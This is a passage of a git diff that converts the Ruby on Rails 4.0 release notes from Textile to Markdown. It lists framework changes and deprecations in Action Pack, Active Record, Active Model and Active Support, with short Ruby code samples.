`respond_to` and `respond_with` now raise `ActionController::UnknownFormat` instead of directly returning head 406. The exception is rescued and converted to 406 in the exception handling middleware. + +* JSONP now uses `application/javascript` instead of `application/json` as the MIME type. + +* Session arguments passed to process calls in functional tests are now merged into the existing session, whereas previously they would replace the existing session. This change may break some existing tests if they are asserting the exact contents of the session but should not break existing tests that only assert individual keys. + +* Forms of persisted records use always PATCH (via the `_method` hack). + +* For resources, both PATCH and PUT are routed to the `update` action. + +* Don't ignore `force_ssl` in development. This is a change of behavior - use an `:if` condition to recreate the old behavior. + + ```ruby + class AccountsController < ApplicationController + force_ssl :if => :ssl_configured? + + def ssl_configured? + !Rails.env.development? + end + end + ``` + +#### Deprecations + +* Deprecated `ActionController::Integration` in favour of `ActionDispatch::Integration`. + +* Deprecated `ActionController::IntegrationTest` in favour of `ActionDispatch::IntegrationTest`. + +* Deprecated `ActionController::PerformanceTest` in favour of `ActionDispatch::PerformanceTest`. + +* Deprecated `ActionController::AbstractRequest` in favour of `ActionDispatch::Request`. + +* Deprecated `ActionController::Request` in favour of `ActionDispatch::Request`. + +* Deprecated `ActionController::AbstractResponse` in favour of `ActionDispatch::Response`. + +* Deprecated `ActionController::Response` in favour of `ActionDispatch::Response`. + +* Deprecated `ActionController::Routing` in favour of `ActionDispatch::Routing`. + +### Action Dispatch + +* Add Routing Concerns to declare common routes that can be reused inside others resources and routes. + + Code before: + + ```ruby + resources :messages do + resources :comments + end + + resources :posts do + resources :comments + resources :images, only: :index + end + ``` + + Code after: + + ```ruby + concern :commentable do + resources :comments + end + + concern :image_attachable do + resources :images, only: :index + end + + resources :messages, concerns: :commentable + + resources :posts, concerns: [:commentable, :image_attachable] + ``` + +* Show routes in exception page while debugging a `RoutingError` in development. + +* Include `mounted_helpers` (helpers for accessing mounted engines) in `ActionDispatch::IntegrationTest` by default. + +* Added `ActionDispatch::SSL` middleware that when included force all the requests to be under HTTPS protocol. + +* Copy literal route constraints to defaults so that url generation know about them. The copied constraints are `:protocol`, `:subdomain`, `:domain`, `:host` and `:port`. + +* Allows `assert_redirected_to` to match against a regular expression. + +* Adds a backtrace to the routing error page in development. + +* `assert_generates`, `assert_recognizes`, and `assert_routing` all raise `Assertion` instead of `RoutingError`. + +* Allows the route helper root to take a string argument. For example, `root 'pages#main'` as a shortcut for `root to: 'pages#main'`. + +* Adds support for the PATCH verb: Request objects respond to `patch?`. Routes now have a new `patch` method, and understand `:patch` in the existing places where a verb is configured, like `:via`. Functional tests have a new method `patch` and integration tests have a new method `patch_via_redirect`. +If `:patch` is the default verb for updates, edits are tunneled as `PATCH` rather than as `PUT` and routing acts accordingly. + +* Integration tests support the OPTIONS method. + +* `expires_in` accepts a `must_revalidate` flag. If true, "must-revalidate" is added to the `Cache-Control` header. + +* Default responder will now always use your overridden block in `respond_with` to render your response. + +* Turn off verbose mode of `rack-cache`, we still have `X-Rack-Cache` to check that info. + +#### Deprecations + +### Action View + +* Remove Active Model dependency from Action Pack. + +* Allow to use `mounted_helpers` (helpers for accessing mounted engines) in `ActionView::TestCase`. + +* Make current object and counter (when it applies) variables accessible when rendering templates with `:object` or `:collection`. + +* Allow to lazy load `default_form_builder` by passing a string instead of a constant. + +* Add index method to `FormBuilder` class. + +* Adds support for layouts when rendering a partial with a given collection. + +* Remove `:disable_with` in favor of `data-disable-with` option from `submit_tag`, `button_tag` and `button_to` helpers. + +* Remove `:mouseover` option from `image_tag` helper. + +* Templates without a handler extension now raises a deprecation warning but still defaults to `ERb`. In future releases, it will simply return the template content. + +* Add a `divider` option to `grouped_options_for_select` to generate a separator optgroup automatically, and deprecate prompt as third argument, in favor of using an options hash. + +* Add `time_field` and `time_field_tag` helpers which render an `input[type="time"]` tag. + +* Removed old `text_helper` apis for `highlight`, `excerpt` and `word_wrap`. + +* Remove the leading \n added by textarea on `assert_select`. + +* Changed default value for `config.action_view.embed_authenticity_token_in_remote_forms` to false. This change breaks remote forms that need to work also without JavaScript, so if you need such behavior, you can either set it to true or explicitly pass `:authenticity_token => true` in form options. + +* Make possible to use a block in `button_to` helper if button text is hard to fit into the name parameter: + + ```ruby + <%= button_to [:make_happy, @user] do %> + Make happy <strong><%= @user.name %></strong> + <% end %> + # => "<form method="post" action="/users/1/make_happy" class="button_to"> + # <div> + # <button type="submit"> + # Make happy <strong>Name</strong> + # </button> + # </div> + # </form>" + ``` + +* Replace `include_seconds` boolean argument with `:include_seconds => true` option in `distance_of_time_in_words` and `time_ago_in_words` signature. + +* Remove `button_to_function` and `link_to_function` helpers. + +* `truncate` now always returns an escaped HTML-safe string. The option `:escape` can be used as `false` to not escape the result. + +* `truncate` now accepts a block to show extra content when the text is truncated. + +* Add `week_field`, `week_field_tag`, `month_field`, `month_field_tag`, `datetime_local_field`, `datetime_local_field_tag`, `datetime_field` and `datetime_field_tag` helpers. + +* Add `color_field` and `color_field_tag` helpers. + +* Add `include_hidden` option to select tag. With `:include_hidden => false` select with multiple attribute doesn't generate hidden input with blank value. + +* Removed default size option from the `text_field`, `search_field`, `telephone_field`, `url_field`, `email_field` helpers. + +* Removed default cols and rows options from the `text_area` helper. + +* Adds `image_url`, `javascript_url`, `stylesheet_url`, `audio_url`, `video_url`, and `font_url` to assets tag helper. These URL helpers will return the full path to your assets. This is useful when you are going to reference this asset from external host. + +* Allow `value_method` and `text_method` arguments from `collection_select` and `options_from_collection_for_select` to receive an object that responds to `:call` such as a proc, to evaluate the option in the current element context. This works the same way with `collection_radio_buttons` and `collection_check_boxes`. + +* Add `date_field` and `date_field_tag` helpers which render an `input[type="date"]` tag. + +* Add `collection_check_boxes` form helper, similar to `collection_select`: + + ```ruby + collection_check_boxes :post, :author_ids, Author.all, :id, :name + # Outputs something like: + <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" /> + <label for="post_author_ids_1">D. Heinemeier Hansson</label> + <input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" /> + <label for="post_author_ids_2">D. Thomas</label> + <input name="post[author_ids][]" type="hidden" value="" /> + ``` + + The label/check_box pairs can be customized with a block. + +* Add `collection_radio_buttons` form helper, similar to `collection_select`: + + ```ruby + collection_radio_buttons :post, :author_id, Author.all, :id, :name + # Outputs something like: + <input id="post_author_id_1" name="post[author_id]" type="radio" value="1" /> + <label for="post_author_id_1">D. Heinemeier Hansson</label> + <input id="post_author_id_2" name="post[author_id]" type="radio" value="2" /> + <label for="post_author_id_2">D. Thomas</label> + ``` + + The label/radio_button pairs can be customized with a block. + +* `check_box` with an HTML5 attribute `:form` will now replicate the `:form` attribute to the hidden field as well. + +* label form helper accepts `:for => nil` to not generate the attribute. + +* Add `:format` option to `number_to_percentage`. + +* Add `config.action_view.logger` to configure logger for `Action View`. + +* `check_box` helper with `:disabled => true` will generate a `disabled` hidden field to conform with the HTML convention where disabled fields are not submitted with the form. This is a behavior change, previously the hidden tag had a value of the disabled checkbox. + +* `favicon_link_tag` helper will now use the favicon in `app/assets` by default. + +* `ActionView::Helpers::TextHelper#highlight` now defaults to the HTML5 `mark` element. + +#### Deprecations + +### Sprockets + +Moved into a separate gem `sprockets-rails`. + +Active Record +------------- + +* Add `add_reference` and `remove_reference` schema statements. Aliases, `add_belongs_to` and `remove_belongs_to` are acceptable. References are reversible. + + ```ruby + # Create a user_id column + add_reference(:products, :user) + + # Create a supplier_id, supplier_type columns and appropriate index + add_reference(:products, :supplier, polymorphic: true, index: true) + + # Remove polymorphic reference + remove_reference(:products, :supplier, polymorphic: true) + ``` + + +* Add `:default` and `:null` options to `column_exists?`. + + ```ruby + column_exists?(:testings, :taggable_id, :integer, null: false) + column_exists?(:testings, :taggable_type, :string, default: 'Photo') + ``` + +* `ActiveRecord::Relation#inspect` now makes it clear that you are dealing with a `Relation` object rather than an array: + + ```ruby + User.where(:age => 30).inspect + # => <ActiveRecord::Relation [#<User ...>, #<User ...>]> + + User.where(:age => 30).to_a.inspect + # => [#<User ...>, #<User ...>] + ``` + + if more than 10 items are returned by the relation, inspect will only show the first 10 followed by ellipsis. + +* Add `:collation` and `:ctype` support to PostgreSQL. These are available for PostgreSQL 8.4 or later. + + ```yaml + development: + adapter: postgresql + host: localhost + database: rails_development + username: foo + password: bar + encoding: UTF8 + collation: ja_JP.UTF8 + ctype: ja_JP.UTF8 + ``` + +* `FinderMethods#exists?` now returns `false` with the `false` argument. + +* Added support for specifying the precision of a timestamp in the postgresql adapter. So, instead of having to incorrectly specify the precision using the `:limit` option, you may use `:precision`, as intended. For example, in a migration: + + ```ruby + def change + create_table :foobars do |t| + t.timestamps :precision => 0 + end + end + ``` + +* Allow `ActiveRecord::Relation#pluck` to accept multiple columns. Returns an array of arrays containing the typecasted values: + + ```ruby + Person.pluck(:id, :name) + # SELECT people.id, people.name FROM people + # => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']] + ``` + +* Improve the derivation of HABTM join table name to take account of nesting. It now takes the table names of the two models, sorts them lexically and then joins them, stripping any common prefix from the second table name. Some examples: + + ``` + Top level models (Category <=> Product) + Old: categories_products + New: categories_products + + Top level models with a global table_name_prefix (Category <=> Product) + Old: site_categories_products + New: site_categories_products + + Nested models in a module without a table_name_prefix method (Admin::Category <=> Admin::Product) + Old: categories_products + New: categories_products + + Nested models in a module with a table_name_prefix method (Admin::Category <=> Admin::Product) + Old: categories_products + New: admin_categories_products + + Nested models in a parent model (Catalog::Category <=> Catalog::Product) + Old: categories_products + New: catalog_categories_products + + Nested models in different parent models (Catalog::Category <=> Content::Page) + Old: categories_pages + New: catalog_categories_content_pages + ``` + +* Move HABTM validity checks to `ActiveRecord::Reflection`. One side effect of this is to move when the exceptions are raised from the point of declaration to when the association is built. This is consistant with other association validity checks. + +* Added `stored_attributes` hash which contains the attributes stored using `ActiveRecord::Store`. This allows you to retrieve the list of attributes you've defined. + + ```ruby + class User < ActiveRecord::Base + store :settings, accessors: [:color, :homepage] + end + + User.stored_attributes[:settings] # [:color, :homepage] + ``` + +* PostgreSQL default log level is now 'warning', to bypass the noisy notice messages. You can change the log level using the `min_messages` option available in your `config/database.yml`. + +* Add uuid datatype support to PostgreSQL adapter. + +* Added `ActiveRecord::Migration.check_pending!` that raises an error if migrations are pending. + +* Added `#destroy!` which acts like `#destroy` but will raise an `ActiveRecord::RecordNotDestroyed` exception instead of returning `false`. + +* Allow blocks for count with `ActiveRecord::Relation`, to work similar as `Array#count`: `Person.where("age > 26").count { |person| person.gender == 'female' }` + +* Added support to `CollectionAssociation#delete` for passing fixnum or string values as record ids. This finds the records responding to the ids and deletes them. + + ```ruby + class Person < ActiveRecord::Base + has_many :pets + end + + person.pets.delete("1") # => [#<Pet id: 1>] + person.pets.delete(2, 3) # => [#<Pet id: 2>, #<Pet id: 3>] + ``` + +* It's not possible anymore to destroy a model marked as read only. + +* Added ability to `ActiveRecord::Relation#from` to accept other `ActiveRecord::Relation` objects. + +* Added custom coders support for `ActiveRecord::Store`. Now you can set your custom coder like this: + + ```ruby + store :settings, accessors: [ :color, :homepage ], coder: JSON + ``` + +* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by default to avoid silent data loss. This can be disabled by specifying `strict: false` in `config/database.yml`. + +* Added default order to `ActiveRecord::Base#first` to assure consistent results among diferent database engines. Introduced `ActiveRecord::Base#take` as a replacement to the old behavior. + +* Added an `:index` option to automatically create indexes for `references` and `belongs_to` statements in migrations. This can be either a boolean or a hash that is identical to options available to the `add_index` method: + + ```ruby + create_table :messages do |t| + t.references :person, :index => true + end + ``` + + Is the same as: + + ```ruby + create_table :messages do |t| + t.references :person + end + add_index :messages, :person_id + ``` + + Generators have also been updated to use the new syntax. + +* Added bang methods for mutating `ActiveRecord::Relation` objects. For example, while `foo.where(:bar)` will return a new object leaving foo unchanged, `foo.where!(:bar)` will mutate the foo object. + +* Added `#find_by` and `#find_by!` to mirror the functionality provided by dynamic finders in a way that allows dynamic input more easily: + + ```ruby + Post.find_by name: 'Spartacus', rating: 4 + Post.find_by "published_at < ?", 2.weeks.ago + Post.find_by! name: 'Spartacus' + ``` + +* Added `ActiveRecord::Base#slice` to return a hash of the given methods with their names as keys and returned values as values. + +* Remove IdentityMap - IdentityMap has never graduated to be an "enabled-by-default" feature, due to some inconsistencies with associations, as described in this [commit](https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6). Hence the removal from the codebase, until such issues are fixed. + +* Added a feature to dump/load internal state of `SchemaCache` instance because we want to boot more quickly when we have many models. + + ```ruby + # execute rake task. + RAILS_ENV=production bundle exec rake db:schema:cache:dump + => generate db/schema_cache.dump + + # add config.use_schema_cache_dump = true in config/production.rb. BTW, true is default. + + # boot rails. + RAILS_ENV=production bundle exec rails server + => use db/schema_cache.dump + + # If you remove clear dumped cache, execute rake task. + RAILS_ENV=production bundle exec rake db:schema:cache:clear + => remove db/schema_cache.dump + ``` + +* Added support for partial indices to `PostgreSQL` adapter. + +* The `add_index` method now supports a `where` option that receives a string with the partial index criteria. + +* Added the `ActiveRecord::NullRelation` class implementing the null object pattern for the Relation class. + +* Implemented `ActiveRecord::Relation#none` method which returns a chainable relation with zero records (an instance of the `NullRelation` class). Any subsequent condition chained to the returned relation will continue generating an empty relation and will not fire any query to the database. + +* Added `create_join_table` migration helper to create HABTM join tables. + + ```ruby + create_join_table :products, :categories + # => + # create_table :categories_products, :id => false do |td| + # td.integer :product_id, :null => false + # td.integer :category_id, :null => false + # end + ``` + +* The primary key is always initialized in the `@attributes` hash to nil (unless another value has been specified). + +* In previous releases, the following would generate a single query with an OUTER JOIN comments, rather than two separate queries: + + ```ruby + Post.includes(:comments).where("comments.name = 'foo'") + ``` + + This behaviour relies on matching SQL string, which is an inherently flawed idea unless we write an SQL parser, which we do not wish to do. Therefore, it is now deprecated. + + To avoid deprecation warnings and for future compatibility, you must explicitly state which tables you reference, when using SQL snippets: + + ```ruby + Post.includes(:comments).where("comments.name = 'foo'").references(:comments) + ``` + + Note that you do not need to explicitly specify references in the following cases, as they can be automatically inferred: + + ```ruby + Post.where(comments: { name: 'foo' }) + Post.where('comments.name' => 'foo') + Post.order('comments.name') + ``` + + You also do not need to worry about this unless you are doing eager loading. Basically, don't worry unless you see a deprecation warning or (in future releases) an SQL error due to a missing JOIN. + +* Support for the `schema_info` table has been dropped. Please switch to `schema_migrations`. + +* Connections *must* be closed at the end of a thread. If not, your connection pool can fill and an exception will be raised. + +* Added the `ActiveRecord::Model` module which can be included in a class as an alternative to inheriting from `ActiveRecord::Base`: + + ```ruby + class Post + include ActiveRecord::Model + end + ``` + +* PostgreSQL hstore records can be created. + +* PostgreSQL hstore types are automatically deserialized from the database. + +### Deprecations + +* Deprecated most of the 'dynamic finder' methods. All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's how you can rewrite the code: + + ```ruby + find_all_by_... can be rewritten using where(...) + find_last_by_... can be rewritten using where(...).last + scoped_by_... can be rewritten using where(...) + find_or_initialize_by_... can be rewritten using where(...).first_or_initialize + find_or_create_by_... can be rewritten using where(...).first_or_create + find_or_create_by_...! can be rewritten using where(...).first_or_create! + ``` + + The implementation of the deprecated dynamic finders has been moved to the `active_record_deprecated_finders` gem. + +* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do. For example this: + + ```ruby + Post.find(:all, :conditions => { :comments_count => 10 }, :limit => 5) + ``` + + should be rewritten in the new style which has existed since Rails 3: + + ```ruby + Post.where(comments_count: 10).limit(5) + ``` + + Note that as an interim step, it is possible to rewrite the above as: + + ```ruby + Post.scoped(:where => { :comments_count => 10 }, :limit => 5) + ``` + + This could save you a lot of work if there is a lot of old-style finder usage in your application. + + Calling `Post.scoped(options)` is a shortcut for `Post.scoped.merge(options)`. `Relation#merge` now accepts a hash of options, but they must be identical to the names of the equivalent finder method. These are mostly identical to the old-style finder option names, except in the following cases: + + ``` + :conditions becomes :where + :include becomes :includes + :extend becomes :extending + ``` + + The code to implement the deprecated features has been moved out to the `active_record_deprecated_finders` gem. This gem is a dependency of Active Record in Rails 4.0. It will no longer be a dependency from Rails 4.1, but if your app relies on the deprecated features then you can add it to your own Gemfile. It will be maintained by the Rails core team until Rails 5.0 is released. + +* Deprecate eager-evaluated scopes. + + Don't use this: + + ```ruby + scope :red, where(color: 'red') + default_scope where(color: 'red') + ``` + + Use this: + + ```ruby + scope :red, -> { where(color: 'red') } + default_scope { where(color: 'red') } + ``` + + The former has numerous issues. It is a common newbie gotcha to do the following: + + ```ruby + scope :recent, where(published_at: Time.now - 2.weeks) + ``` + + Or a more subtle variant: + + ```ruby + scope :recent, -> { where(published_at: Time.now - 2.weeks) } + scope :recent_red, recent.where(color: 'red') + ``` + + Eager scopes are also very complex to implement within Active Record, and there are still bugs. For example, the following does not do what you expect: + + ```ruby + scope :remove_conditions, except(:where) + where(...).remove_conditions # => still has conditions + ``` + +* Added deprecation for the `:dependent => :restrict` association option. + +* Up until now `has_many` and `has_one, :dependent => :restrict` option raised a `DeleteRestrictionError` at the time of destroying the object. Instead, it will add an error on the model. + +* To fix this warning, make sure your code isn't relying on a `DeleteRestrictionError` and then add `config.active_record.dependent_restrict_raises = false` to your application config. + +* New rails application would be generated with the `config.active_record.dependent_restrict_raises = false` in the application config. + +* The migration generator now creates a join table with (commented) indexes every time the migration name contains the word "join_table". + +* `ActiveRecord::SessionStore` is removed from Rails 4.0 and is now a separate [gem](https://github.com/rails/activerecord-session_store). + +Active Model +------------ + +* Changed `AM::Serializers::JSON.include_root_in_json` default value to false. Now, AM Serializers and AR objects have the same default behaviour. + + ```ruby + class User < ActiveRecord::Base; end + + class Person + include ActiveModel::Model + include ActiveModel::AttributeMethods + include ActiveModel::Serializers::JSON + + attr_accessor :name, :age + + def attributes + instance_values + end + end + + user.as_json + => {"id"=>1, "name"=>"Konata Izumi", "age"=>16, "awesome"=>true} + # root is not included + + person.as_json + => {"name"=>"Francesco", "age"=>22} + # root is not included + ``` + +* Passing false hash values to `validates` will no longer enable the corresponding validators. + +* `ConfirmationValidator` error messages will attach to `:#{attribute}_confirmation` instead of `attribute`. + +* Added `ActiveModel::Model`, a mixin to make Ruby objects work with Action Pack out of the box. + +* `ActiveModel::Errors#to_json` supports a new parameter `:full_messages`. + +* Trims down the API by removing `valid?` and `errors.full_messages`. + +### Deprecations + +Active Resource +--------------- + +* Active Resource is removed from Rails 4.0 and is now a separate [gem](https://github.com/rails/activeresource). + +Active Support +-------------- + +* Add default values to all `ActiveSupport::NumberHelper` methods, to avoid errors with empty locales or missing values. + +* `Time#change` now works with time values with offsets other than UTC or the local time zone. + +* Add `Time#prev_quarter` and `Time#next_quarter` short-hands for `months_ago(3)` and `months_since(3)`. + +* Remove obsolete and unused `require_association` method from dependencies. + +* Add `:instance_accessor` option for `config_accessor`. + + ```ruby + class User + include ActiveSupport::Configurable + config_accessor :allowed_access, instance_accessor: false + end + + User.new.allowed_access = true # => NoMethodError + User.new.allowed_access # => NoMethodError + ``` + +* `ActionView::Helpers::NumberHelper` methods have been moved to `ActiveSupport::NumberHelper` and are now available via `Numeric#to_s`. + +* `Numeric#to_s` now accepts the formatting options :phone, :currency, :percentage, :delimited, :rounded, :human, and :human_size. + +* Add `Hash#transform_keys`, `Hash#transform_keys!`, `Hash#deep_transform_keys` and `Hash#deep_transform_keys!`. + +* Changed xml type datetime to dateTime (with upper case letter T). + +* Add `:instance_accessor` option for `class_attribute`. + +* `constantize` now looks in the ancestor chain. + +* Add `Hash#deep_stringify_keys` and `Hash#deep_stringify_keys!` to convert all keys from a `Hash` instance into strings. + +* Add `Hash#deep_symbolize_keys` and `Hash#deep_symbolize_keys!` to convert all keys from a `Hash` instance into symbols. + +* `Object#try` can't call private methods. + +* AS::Callbacks#run_callbacks remove key argument. + +* `deep_dup` works more expectedly now and duplicates also values in `Hash` instances and elements in `Array` instances. + +* Inflector no longer applies ice -> ouse to words like slice, police. + +* Add `ActiveSupport::Deprecations.behavior = :silence` to completely ignore Rails runtime deprecations. + +* Make `Module#delegate` stop using send - can no longer delegate to private methods. + +* AS::Callbacks deprecate :rescuable option. + +* Adds `Integer#ordinal` to get the ordinal suffix string of an integer. + +* AS::Callbacks :per_key option is no longer supported. + +* AS::Callbacks#define_callbacks add :skip_after_callbacks_if_terminated option. + +* Add html_escape_once to ERB::Util, and delegate escape_once tag helper to it. + +* Remove `ActiveSupport::TestCase#pending` method, use `skip` instead. + +* Deletes the compatibility method `Module#method_names`, use `Module#methods` from now on (which returns symbols). + +* Deletes the compatibility method `Module#instance_method_names`, use `Module#instance_methods` from now on (which returns symbols). + +* Unicode database updated to 6.1.0. + +* Adds `encode_big_decimal_as_string` option to force JSON serialization of BigDecimals as numeric instead of wrapping them in strings for safety. + +### Deprecations + +* `ActiveSupport::Callbacks`: deprecate usage of filter object with `#before` and `#after` methods as `around` callback. + +* `BufferedLogger` is deprecated. Use `ActiveSupport::Logger` or the `logger` from Ruby stdlib. + +* Deprecates the compatibility method `Module#local_constant_names` and use `Module#local_constants` instead (which returns symbols). + +Credits +------- + +See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. diff --git a/guides/source/4_0_release_notes.textile b/guides/source/4_0_release_notes.textile deleted file mode 100644 index fc922b04b7..0000000000 --- a/guides/source/4_0_release_notes.textile +++ /dev/null @@ -1,848 +0,0 @@ -h2. Ruby on Rails 4.0 Release Notes - -Highlights in Rails 4.0: - -These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/master in the main Rails repository on GitHub. - -endprologue. - -h3. Upgrading to Rails 4.0 - -TODO. This is a WIP guide. - -If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. Then take heed of the following changes: - -h4. Rails 4.0 requires at least Ruby 1.9.3 - -Rails 4.0 requires Ruby 1.9.3 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. - -h4. What to update in your apps - -* Update your Gemfile to depend on -** <tt>rails = 4.0.0</tt> -** <tt>sass-rails ~> 3.2.3</tt> -** <tt>coffee-rails ~> 3.2.1</tt> -** <tt>uglifier >= 1.0.3</tt> - -TODO: Update the versions above. - -* Rails 4.0 removes <tt>vendor/plugins</tt> completely. You have to replace these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, <tt>lib/my_plugin/*</tt> and add an appropriate initializer in <tt>config/initializers/my_plugin.rb</tt>. - -TODO: Configuration changes in environment files - -h3. Creating a Rails 4.0 application - -<shell> -# You should have the 'rails' rubygem installed -$ rails new myapp -$ cd myapp -</shell> - -h4. Vendoring Gems - -Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. - -More information: "Bundler homepage":http://gembundler.com - -h4. Living on the Edge - -+Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag: - -<shell> -$ rails new myapp --edge -</shell> - -If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag: - -<shell> -$ ruby /path/to/rails/railties/bin/rails new myapp --dev -</shell> - -h3. Major Features - -h3. Documentation - -h3. Railties - -* Allow scaffold/model/migration generators to accept a <tt>polymorphic</tt> modifier for <tt>references</tt>/<tt>belongs_to</tt>, for instance - -<shell> -rails g model Product supplier:references{polymorphic} -</shell> - -will generate the model with <tt>belongs_to :supplier, polymorphic: true</tt> association and appropriate migration. - -* Set <tt>config.active_record.migration_error</tt> to <tt>:page_load</tt> for development. - -* Add runner to <tt>Rails::Railtie</tt> as a hook called just after runner starts. - -* Add <tt>/rails/info/routes</tt> path which displays the same information as +rake routes+. - -* Improved +rake routes+ output for redirects. - -* Load all environments available in <tt>config.paths["config/environments"]</tt>. - -* Add <tt>config.queue_consumer</tt> to allow the default consumer to be configurable. - -* Add <tt>Rails.queue</tt> as an interface with a default implementation that consumes jobs in a separate thread. - -* Remove <tt>Rack::SSL</tt> in favour of <tt>ActionDispatch::SSL</tt>. - -* Allow to set class that will be used to run as a console, other than IRB, with <tt>Rails.application.config.console=</tt>. It's best to add it to console block. - -<ruby> -# it can be added to config/application.rb -console do - # this block is called only when running console, - # so we can safely require pry here - require "pry" - config.console = Pry -end -</ruby> - -* Add a convenience method <tt>hide!</tt> to Rails generators to hide the current generator namespace from showing when running <tt>rails generate</tt>. - -* Scaffold now uses +content_tag_for+ in <tt>index.html.erb</tt>. - -* <tt>Rails::Plugin</tt> is removed. Instead of adding plugins to <tt>vendor/plugins</tt>, use gems or bundler with path or git dependencies. - -h4(#railties_deprecations). Deprecations - -h3. Action Mailer - -* Allow to set default Action Mailer options via <tt>config.action_mailer.default_options=</tt>. - -* Raise an <tt>ActionView::MissingTemplate</tt> exception when no implicit template could be found. - -* Asynchronously send messages via the Rails Queue. - -* Delivery Options (such as SMTP Settings) can now be set dynamically per mailer action. - -Delivery options are set via <tt>:delivery_method_options</tt> key on mail. - -<ruby> -def welcome_mailer(user,company) - mail to: user.email, - subject: "Welcome!", - delivery_method_options: {user_name: company.smtp_user, - password: company.smtp_password, - address: company.smtp_server} -end -</ruby> - -h3. Action Pack - -h4. Action Controller - -* Add <tt>ActionController::Flash.add_flash_types</tt> method to allow people to register their own flash types. e.g.: - -<ruby> -class ApplicationController - add_flash_types :error, :warning -end -</ruby> - -If you add the above code, you can use <tt><%= error %></tt> in an erb, and <tt>redirect_to /foo, :error => 'message'</tt> in a controller. - -* Remove Active Model dependency from Action Pack. - -* Support unicode characters in routes. Route will be automatically escaped, so instead of manually escaping: - -<ruby> -get Rack::Utils.escape('こんにちは') => 'home#index' -</ruby> - -You just have to write the unicode route: - -<ruby> -get 'こんにちは' => 'home#index' -</ruby> - -* Return proper format on exceptions. - -* Extracted redirect logic from <tt>ActionController::ForceSSL::ClassMethods.force_ssl</tt> into <tt>ActionController::ForceSSL#force_ssl_redirect</tt>. - -* URL path parameters with invalid encoding now raise <tt>ActionController::BadRequest</tt>. - -* Malformed query and request parameter hashes now raise <tt>ActionController::BadRequest</tt>. - -* +respond_to+ and +respond_with+ now raise <tt>ActionController::UnknownFormat</tt> instead of directly returning head 406. The exception is rescued and converted to 406 in the exception handling middleware. - -* JSONP now uses <tt>application/javascript</tt> instead of <tt>application/json</tt> as the MIME type. - -* Session arguments passed to process calls in functional tests are now merged into the existing session, whereas previously they would replace the existing session. This change may break some existing tests if they are asserting the exact contents of the session but should not break existing tests that only assert individual keys. - -* Forms of persisted records use always PATCH (via the +_method+ hack). - -* For resources, both PATCH and PUT are routed to the +update+ action. - -* Don't ignore +force_ssl+ in development. This is a change of behavior - use an <tt>:if</tt> condition to recreate the old behavior. - -<ruby> -class AccountsController < ApplicationController - force_ssl :if => :ssl_configured? - - def ssl_configured? - !Rails.env.development? - end -end -</ruby> - -h5(#actioncontroller_deprecations). Deprecations - -* Deprecated <tt>ActionController::Integration</tt> in favour of <tt>ActionDispatch::Integration</tt>. - -* Deprecated <tt>ActionController::IntegrationTest</tt> in favour of <tt>ActionDispatch::IntegrationTest</tt>. - -* Deprecated <tt>ActionController::PerformanceTest</tt> in favour of <tt>ActionDispatch::PerformanceTest</tt>. - -* Deprecated <tt>ActionController::AbstractRequest</tt> in favour of <tt>ActionDispatch::Request</tt>. - -* Deprecated <tt>ActionController::Request</tt> in favour of <tt>ActionDispatch::Request</tt>. - -* Deprecated <tt>ActionController::AbstractResponse</tt> in favour of <tt>ActionDispatch::Response</tt>. - -* Deprecated <tt>ActionController::Response</tt> in favour of <tt>ActionDispatch::Response</tt>. - -* Deprecated <tt>ActionController::Routing</tt> in favour of <tt>ActionDispatch::Routing</tt>. - -h4. Action Dispatch - -* Add Routing Concerns to declare common routes that can be reused inside others resources and routes. - -Code before: - -<ruby> -resources :messages do - resources :comments -end - -resources :posts do - resources :comments - resources :images, only: :index -end -</ruby> - -Code after: - -<ruby> -concern :commentable do - resources :comments -end - -concern :image_attachable do - resources :images, only: :index -end - -resources :messages, concerns: :commentable - -resources :posts, concerns: [:commentable, :image_attachable] -</ruby> - -* Show routes in exception page while debugging a <tt>RoutingError</tt> in development. - -* Include <tt>mounted_helpers</tt> (helpers for accessing mounted engines) in <tt>ActionDispatch::IntegrationTest</tt> by default. - -* Added <tt>ActionDispatch::SSL</tt> middleware that when included force all the requests to be under HTTPS protocol. - -* Copy literal route constraints to defaults so that url generation know about them. The copied constraints are <tt>:protocol</tt>, <tt>:subdomain</tt>, <tt>:domain</tt>, <tt>:host</tt> and <tt>:port</tt>. - -* Allows +assert_redirected_to+ to match against a regular expression. - -* Adds a backtrace to the routing error page in development. - -* +assert_generates+, +assert_recognizes+, and +assert_routing+ all raise +Assertion+ instead of +RoutingError+. - -* Allows the route helper root to take a string argument. For example, <tt>root 'pages#main'</tt> as a shortcut for <tt>root to: 'pages#main'</tt>. - -* Adds support for the PATCH verb: Request objects respond to <tt>patch?</tt>. Routes now have a new +patch+ method, and understand +:patch+ in the existing places where a verb is configured, like <tt>:via</tt>. Functional tests have a new method +patch+ and integration tests have a new method +patch_via_redirect+. -If <tt>:patch</tt> is the default verb for updates, edits are tunneled as <tt>PATCH</tt> rather than as <tt>PUT</tt> and routing acts accordingly. - -* Integration tests support the OPTIONS method. - -* +expires_in+ accepts a +must_revalidate+ flag. If true, "must-revalidate" is added to the <tt>Cache-Control</tt> header. - -* Default responder will now always use your overridden block in <tt>respond_with</tt> to render your response. - -* Turn off verbose mode of <tt>rack-cache</tt>, we still have <tt>X-Rack-Cache</tt> to check that info. - 